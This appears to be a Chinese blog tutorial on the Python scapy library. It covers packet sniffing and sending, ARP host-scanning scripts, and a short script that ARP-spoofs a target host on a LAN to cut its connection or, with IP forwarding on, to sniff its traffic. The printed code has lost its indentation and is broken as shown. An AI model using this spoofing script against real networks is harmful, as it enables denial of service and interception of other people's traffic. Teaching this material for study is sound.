python scapy的用法之ARP主机扫描和ARP欺骗

目录:

1.scapy介绍

2.安装scapy

3.scapy常用

4.ARP主机扫描

5.ARP欺骗

一、scapy介绍

scapy是一个可用于网络嗅探的非常强大的第三方库。

具有以下几个特点:

  1.交互模式,用作第三方库。

  2.可以用开做packet嗅探和伪造packet

  3.已经再内部实现了大量的网络协议。(DNS,ARP,IP,TCP,UDP等等),可以用它来编写非常灵活实用的工具。

二、安装

pip intall scapy

pip install ipython(运行命令行方式需要)

注意:windows下安装scapy需要安装winpcap或者npcap(用于抓取网卡的数据),如果电脑安装果wireshark或者nmap就不用安装winpcap或者npcap。

winpcap官方下载地址:https://www.winpcap.org/install/default.htm

npcap官方下载地址:https://nmap.org/npcap/

测试scapy是否安装好以及能否抓取网卡(不能抓取网卡的话,请检查winpcap或者npcap是否安装成功)  

三、scapy常用

1.嗅探流量包

sniff函数进行嗅探流量,iface表示使用的网卡接口,filter是过滤条件,count是嗅探包的个数。结果显示嗅探到了3个ARP包。可以输入pkts[i]查看包的具体内容。sniff别的参数可以查看帮助文档:help(sniff)  

2.将嗅探到的包内容写到pcap文件和读取pcap文件。

wrpcap写,rdpcap读  

3.收发数据包

3.1、send(),在第三层发送数据包,但没有接收功能。其他参数可以查看帮助:help(send)

 fuzz函数的作用:可以更改一些默认的不被计算的值(比如校验和checksums),更改的值是随机的,但是是符合字段的值的。 

3.2、sendp(),在第二层发送数据包,但没有接收功能。"(1,4)"小括号是范围代表1到4,第二个例子:发送4个包,ttl的值是1到4 

3.3、sr(),在第三层发送数据包,有接收功能

srp同时收到响应数据包和不响应数据包,需要用两个变量来接收。

ans中有请求有响应,unans只有请求没有响应

下图可以看到ans[0]查看的数据是以元组的形式,利用下图的示例可以对特定主机的特定端口进行tcp扫描。

3.4、sr1(),在第三层发送数据包,有接收功能,但只接收第一个数据包。用于哪些判断和目标是否通,接收一个数据包就能判断,没必要接收多个。

下图可以看到,发送20个包,收到3个包,但只变量m存储一个包。  

3.5、srloop(),在第三层连续发送数据包,有接收功能,且连续接收数据包。

3.6、srp()、srp1()、srploop()工作在第二层,具体用法可以查看帮助。

 四、ARP主机扫描

1.使用scapy写一个ARP主机扫描脚本  

#局域网主机扫描器  使用ARP扫描
#主机扫描
from scapy.all import *
import time
wifi="Intel(R) Dual Band Wireless-AC 3165"
#构造数据包 Ether()层可以省略构造内容,因为默认就是,当然可以写上,可以加快速度
p=Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst="192.168.43.0/24")
#数据包发送,srp同时收到响应数据包和不响应数据包,需要用两个变量来接收。
#ans中有请求有响应,unans只有请求没有响应
ans,unans=srp(p,iface=wifi,timeout=2)
print("一共扫描到了%d个主机"%len(ans))
result=[]
#ans是元组的形式,可以测试ans[0],发现结果是元组的形式
for s,r in ans:
result.append([r[ARP].psrc,r[ARP].hwsrc]) #把目标的IP以及MAC地址加入到新的列表 result.sort() #对列表进行排序
#遍历列表,打印ip以及对应的mac地址
for ip,mac in result:
print(ip,"--->",mac)

2.扫描结果如下: 

3.上面的脚本把要扫描的主机直接写死了,这里也可以使用sys模块接收命令行传递的参数。 

#局域网主机扫描器  使用ARP扫描
#主机扫描,主机不是写死的,接收命令行传递的参数。
from scapy.all import *
import time
wifi="Intel(R) Dual Band Wireless-AC 3165"
#构造数据包 Ether()层可以省略构造内容,因为默认就是,当然可以写上,可以加快速度
ip=sys.argv[1]
p=Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst=ip)
#数据包发送,srp同时收到响应数据包和不响应数据包,需要用两个变量来接收。
#ans中有请求有响应,unans只有请求没有响应
ans,unans=srp(p,iface=wifi,timeout=2)
print("一共扫描到了%d个主机"%len(ans))
result=[]
#ans是元组的形式,可以测试ans[0],发现结果是元组的形式
for s,r in ans:
result.append([r[ARP].psrc,r[ARP].hwsrc]) #把目标的IP以及MAC地址加入到新的列表 result.sort() #对列表进行排序
#遍历列表,打印ip以及对应的mac地址
for ip,mac in result:
print(ip,"--->",mac)

4.运行效果如下: 

五、ARP欺骗

ARP欺骗就是攻击者一直发包告诉被攻击者(目标)自己(攻击者)是网卡,欺骗目标的数据经过自己,以实现造成目标不能上网或者对目标数据进行监听的目的。

1.首先查看目标的ARP缓存,可以看到目标原来的网关IP以及对应的mac地址

  

2.开始ARP欺骗  

#ARP欺骗
from scapy.all import *
import time
#构造包
#pdst是目标IP,psrc是网关的ip
p1=Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst="192.168.43.250",psrc="192.168.43.1")
for i in range(6000):
sendp(p1)
time.sleep(0.1)

3.运行脚本,可以看到脚本一直发包,这时再看目标的arp缓存,可以看到网关的mac地址变成攻击者的mac了(说明目标把攻击者当成了网关,ARP欺骗成功)

  

4.ARP欺骗之后,由于攻击者不是真正的网关,无法转发数据(默认情况下),导致目标不能上网,这就实现了目标的断网攻击了。

5.那么能不能让目标能上网,只对目标进行流量的嗅探呢,答案是有的,需要开启攻击者的路由转发功能,把目标的数据转发出去。 

6.查看是否开启IP路由转发功能  

python scapy的用法之ARP主机扫描和ARP欺骗的更多相关文章

  1. 从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现

    邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址. 其中邻居子系统相当于地址解析协议(IPv4的ARP协议, ...

  2. Python scapy 实现一个简易 arp 攻击脚本

    原文链接:http://www.jianshu.com/p/df5918069612 scapy 是 python 写的一个功能强大的交互式数据包处理程序,可用来发送.嗅探.解析和伪造网络数据包,常常 ...

  3. python模块之sys和subprocess以及编写简单的主机扫描脚本

    python模块之sys和subprocess以及编写简单的主机扫描脚本 1.sys模块 sys.exit(n)  作用:执行到主程序末尾,解释器自动退出,但是如果需要中途退出程序,可以调用sys.e ...

  4. 【网络编程3】网络编程基础-arp请求(局域网主机扫描)

    ARP协议 ARP(Add ress Resolution Protocol)地址解析协议位于数据链路层,是根据IP地址获取MAC地址的一个协议. ARP 查看指令 arp -a 显示所有接口的当前A ...

  5. QT---基于WinPcap的局域网络管理工具(主机扫描、包过滤、ARP攻击、端口扫描)

    主要功能 本机适配器扫描 局域网各主机扫描 类似于WinShark的抓包工具,能够简单的过滤Tcp.Udp.Arp等包 ARP攻击功能,限制局域网内指定主机上网 流量统计,统计实时网速 多线程攻击,多 ...

  6. python操作redis用法详解

    python操作redis用法详解 转载地址 1.redis连接 redis提供两个类Redis和StrictRedis用于实现Redis的命令,StrictRedis用于实现大部分官方的命令,并使用 ...

  7. Python回调函数用法实例详解

    本文实例讲述了Python回调函数用法.分享给大家供大家参考.具体分析如下: 一.百度百科上对回调函数的解释: 回调函数就是一个通过函数指针调用的函数.如果你把函数的指针(地址)作为参数传递给另一个函 ...

  8. day01-day04总结- Python 数据类型及其用法

    Python 数据类型及其用法: 本文总结一下Python中用到的各种数据类型,以及如何使用可以使得我们的代码变得简洁. 基本结构 我们首先要看的是几乎任何语言都具有的数据类型,包括字符串.整型.浮点 ...

  9. 【Python】关于Python有意思的用法

    开一篇文章,记录关于Python有意思的用法,不断更新 1.Python树的遍历 def sum(t): tmp=0 for k in t: if not isinstance(k,list): tm ...

随机推荐

  1. 【SQL跟踪工具】SQL Profiler 跟踪器

    什么是SQL Profiler SQL Server Profiler 是一个功能丰富的界面,用于创建和管理跟踪并分析和重播跟踪结果. 事件保存在一个跟踪文件中,稍后试图诊断问题时,可以对该文件进行分 ...

  2. 2016 ACM/ICPC亚洲区青岛站现场赛(部分题解)

    摘要 本文主要列举并求解了2016 ACM/ICPC亚洲区青岛站现场赛的部分真题,着重介绍了各个题目的解题思路,结合详细的AC代码,意在熟悉青岛赛区的出题策略,以备战2018青岛站现场赛. HDU 5 ...

  3. python bytes和bytearray、编码和解码

    str.bytes和bytearray简介 str是字符数据,bytes和bytearray是字节数据.它们都是序列,可以进行迭代遍历.str和bytes是不可变序列,bytearray是可变序列,可 ...

  4. Django 系列博客(一)

    Django 系列博客(一) 前言 学习了 python 这么久,终于到了Django 框架.这可以说是 python 名气最大的web 框架了,那么从今天开始会开始从 Django框架的安装到使用一 ...

  5. ASPxGridView中Command列自定义按钮点击事件概要

    其中CustomButtonClick="ButtonClick",e.buttonID可以获取到自定义按钮的id e.visibleIndex获取到行的索引 grdList.Ge ...

  6. SQL 用于各种数据库的数据类型(转载) sqlserver 数据类型 取值范围 长度

    SQL 用于各种数据库的数据类型 来源 http://www.runoob.com/sql/sql-datatypes.html    面向数据库编程中,数据类型的取值范围.长度,可能是需要经常查看的 ...

  7. 【微服务No.3】AOP组件ASPectCore简单使用

    介绍: AspectCore是.NET标准的基于AOP的跨平台框架[github解释].主要支持:对方面拦截器,依赖注入集成,Web应用程序,数据验证等的核心支持. 使用实例: 首先安装dll: In ...

  8. Netty 系列三(ByteBuf).

    一.概述和原理 网络数据传输的基本单位总是字节,Netty 提供了 ByteBuf 作为它的字节容器,既解决了 JDK API 的局限性,又为网络应用程序提供了更好的 API,ByteBuf 的优点: ...

  9. select2 插件编辑时设置默认值

    function htDate(selectCustomerId, val) { var customerId = selectCustomerId; var values = val; ajaxJs ...

  10. jQuery效果之jQuery Color animation 色彩动画扩展

    jQuery 的动画方法(animate)支持各种属性的过渡,但是默认并不支持色彩的过渡,该插件正是来补足这一点! PS: 该插件支持 RGBA 颜色的过渡,但是请注意,IE8以下的版本不支持 RGB ...